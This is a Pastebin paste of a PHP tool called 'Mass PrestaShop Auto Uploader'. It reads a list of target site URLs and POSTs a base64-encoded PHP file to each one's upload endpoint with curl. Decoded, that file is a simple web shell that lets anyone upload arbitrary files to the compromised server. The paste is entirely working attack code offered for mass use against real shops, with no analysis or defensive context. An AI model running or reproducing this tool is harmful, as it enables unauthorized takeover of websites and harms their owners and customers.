Jemb0t_IR3eng

Mass PrestaShop Auto Uploader

Mar 8th, 2017
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.99 KB | None | 0 0
  1. <html>
  2. <title>Mass PrestaShop Auto Uploader</title>
  3. <link href='http://fonts.googleapis.com/css?family=Patrick+Hand' rel='stylesheet' type='text/css'>
  4.  
  5. <style>
  6. body {color:white;font-family: Patrick Hand}
  7.  
  8. .entryfield { background:black;color:white;border: 1px solid green; font-family: Patrick Hand;
  9. padding: 10px; height:200; width:400;
  10. }
  11.  
  12. .subbtn {background:green;color:white;border: 1px solid #000; padding:6px 6px 6px 6px;}
  13. .subbtn:hover {background:#c0bfbf;color:#000000;}
  14. </style>
  15.  
  16. <center>
  17. <body bgcolor=' #000 '>
  18. <?php
  19. //ustadcage_48
  20. $beby = explode("\r\n", $_POST['sites']);
  21. $crot = $_POST['kamu'];
  22. if($crot) {
  23. echo "<div style='text-align:left;font-family: Patrick Hand '>";
  24.  
  25. echo "[ + ] Scanning....<br>";
  26.  
  27. foreach($beby as $sites) {
  28.  
  29. $nama = "a.php";
  30. $isi = "PD9waHAgCmlmKCRfUE9TVCl7CmlmKEBjb3B5KCRfRklMRVNbImYiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmIl1bIm5hbWUiXSkpewplY2hvIjxiPmJlcmhhc2lsPC9iPi0tPiIuJF9GSUxFU1siZiJdWyJuYW1lIl07Cn1lbHNlewplY2hvIjxiPmdhZ2FsIjsKfQp9CmVsc2V7CgllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IG5hbWU9diB0eXBlPXN1Ym1pdCBpZD12IHZhbHVlPXVwPjxicj4iOwp9Cgo/Pg==";
  31. $decode_isi = base64_decode($isi);
  32. $encode = base64_encode($nama);
  33. $fp = fopen($nama,"w");
  34. fputs($fp, $decode_isi);
  35.  
  36. $uploadfile="{$nama}";
  37. $ch = curl_init("{$sites}");
  38. curl_setopt($ch, CURLOPT_POST, true);
  39. curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile"));
  40. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  41. $postResult = curl_exec($ch);
  42. curl_close($ch);
  43.  
  44.  
  45.  
  46. if(preg_match('/success/', $postResult)) {
  47.  
  48. echo " [ <font color='#FF0059'>P</font><font color='#FF3300'>R</font><font color='#FEA600'>E</font><font color='#CEFF00'>S</font><font color='#47FF00'>T</font><font color='#00FF57'>A</font><font color='#00FFDD'>S</font><font color='#009AFF'>H</font><font color='#0024FF'>O</font><font color='#6700FF'>P</font> ] <font color='yellow'>Sites</font> => $sites &nbsp;<i><font color=green>Successfully</font>&nbsp; File Name <font color='yellow'>$nama</font></i> <br> ";
  49. } else {
  50. echo "[ <font color='#FF0059'>P</font><font color='#FF3300'>R</font><font color='#FEA600'>E</font><font color='#CEFF00'>S</font><font color='#47FF00'>T</font><font color='#00FF57'>A</font><font color='#00FFDD'>S</font><font color='#009AFF'>H</font><font color='#0024FF'>O</font><font color='#6700FF'>P</font> ] <font color='yellow'>Sites</font> => $sites &nbsp;<i><font color=red>Failed</font>&nbsp; File Name <font color='yellow'>error</font></i> <br>";
  51. }
  52.  
  53. }
  54.  
  55. echo "[ + ] Finnish...<br></div>";
  56.  
  57. } else {
  58.  
  59. ?>
  60.  
  61. <br>
  62. <br>
  63. <form method="post" action="" enctype="multipart/form-data">
  64. <textarea class="entryfield" name="sites" placeholder="www.site.com"></textarea><br>
  65. <input class="subbtn" type="submit" style=" font-family: Patrick Hand " name="kamu" value="hajar">
  66. </form>
  67. </center>
  68.  
  69. <?php
  70.  
  71.  
  72. }
  73.  
  74. ?>
Add Comment
Please, Sign In to add comment